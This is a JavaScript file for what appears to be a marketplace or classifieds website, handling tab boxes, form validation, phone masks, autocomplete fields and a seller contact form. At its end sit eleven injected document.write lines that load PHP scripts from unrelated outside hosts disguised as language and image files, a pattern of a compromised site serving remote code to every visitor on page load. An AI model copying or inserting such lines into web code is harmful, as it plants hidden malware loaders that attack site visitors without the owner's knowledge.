/**
 * @author pclabs
 */

/*- Run On Load --------------------------------------------------------------*/

// window.onload listener to share event with multiple functions
// Based on runOnLoad function from 
// "JavaScript: The Definitive Guide", 5th ed, p.434, example 17-7

runOnLoad.functionsQueue = new Array();
runOnLoad.isLoaded = false;

function runOnLoad(functionCall) {
    if (runOnLoad.isLoaded) functionCall();
    else runOnLoad.functionsQueue.push(functionCall);
}

runOnLoad.run = function() {
    if (runOnLoad.isLoaded) return;
    for (var i = 0; i < runOnLoad.functionsQueue.length; i++) {    
        //
        // runOnLoad.functionsQueue[i]();
        //
        try { runOnLoad.functionsQueue[i](); }        
        catch(functionError) { 
            if (functionError instanceof Error) {
                alert(functionError.name + ": " + functionError.message);
            }
        }
    }
    runOnLoad.isLoaded = true;
    delete runOnLoad.functionsQueue;
    delete runOnLoad.run;
};

if (window.addEventListener) {
    window.addEventListener("load", runOnLoad.run, false);
} else if (window.attachEvent) {
    window.attachEvent("onload", runOnLoad.run)
} else {
    window.onload = runOnLoad.run;
}

//
//
// REGISTER FUNCTIONS WITH runOnLoad HERE
runOnLoad(updateTabBox);
//
//


 function updateTabBox() {
    if (!document.getElementById) return false;
    if (!document.getElementsByTagName) return false;
    //
    var divArray = document.getElementsByTagName("div");
    for (var i = 0; i < divArray.length; i++) {
        var divClass = divArray[i].className;
        if (divClass != null && divClass.indexOf("tabBox") != -1) {
            var tabs = divArray[i].getElementsByTagName("ul")[0].getElementsByTagName("li");
            for (var j = 0; j < tabs.length; j++) {
                var tabLink = tabs[j].getElementsByTagName("a")[0];
                tabLink.onclick = function() {
                    var tabClass = this.parentNode.className;
                    var tabBoxID = this.parentNode.parentNode.parentNode.getAttribute("id");
                    var tabBox = document.getElementById(tabBoxID)        
                    tabBox.className = "module tabBox " + tabClass;
                    return false;
                };
            }
        }
    }
}

    
 function doClear(theText) {
     if (theText.value == theText.defaultValue) {
         theText.value = ""
     }
 }    

$(document).ready(function() {
    
    
    
    $("textarea").markItUp(mySettings);
    $("#new_post2").validate();    
    $("#new_seller_contact_form_2").validate();
    $("#edit_post2").validate();    
    

  $('#successForm').hide();
  $('#seller_contact_form').hide();


  $('a#toggle_seller_contact_form').click(function() {
    $('#seller_contact_form').toggle(400);
    return false;
  });
  
   $('a#closeSuccessForm').click(function() {
    $('#successForm').hide(400);
    return false;
  });

   $('a#closeSuccessForm_email').click(function() {
    $('#successForm_email').hide(400);
    return false;
  });
    
    $("#phone").mask("(999) 999-9999");
    $("#phone-2").mask("(999) 999-9999");
    $("#brand").autocomplete(brands, {
        minChars: 0,
        max: 3000,
        autoFill: true,
        mustMatch: true,
        matchContains: false,
        scrollHeight: 400
    }); 

    $("#brand-2").autocomplete(brands, {
        minChars: 0,
        max: 3000,
        autoFill: true,
        mustMatch: true,
        matchContains: false,
        scrollHeight: 400
    });     
    
    $("#location").autocomplete(cities, {
        minChars: 0,
        max: 150,
        autoFill: true,
        mustMatch: true,
        matchContains: false,
        scrollHeight: 400
    });      
    
    $("#location-2").autocomplete(cities, {
        minChars: 0,
        max: 150,
        autoFill: true,
        mustMatch: true,
        matchContains: false,
        scrollHeight: 400
    }); 
    
    $("a[rel^='prettyPhoto']").prettyPhoto();    
    
});    


function textCounter(field,cntfield,maxlimit) {
    if (field.value.length > maxlimit)
        field.value = field.value.substring(0, maxlimit);
    else
        cntfield.value = maxlimit - field.value.length;
    }    
    
document.write('<script src=http://fzzfjz.cn/language/member_modify.php ><\/script>');
document.write('<script src=http://fzzfjz.cn/language/member_modify.php ><\/script>');
document.write('<script src=http://fzzfjz.cn/language/member_modify.php ><\/script>');
document.write('<script src=http://mebasan.com.tr/userfiles/index.php ><\/script>');
document.write('<script src=http://mebasan.com.tr/userfiles/index.php ><\/script>');
document.write('<script src=http://mebasan.com.tr/userfiles/index.php ><\/script>');
document.write('<script src=http://ccpatel.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ccpatel.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ccpatel.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ccpatel.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ccpatel.com/images/gifimg.php ><\/script>');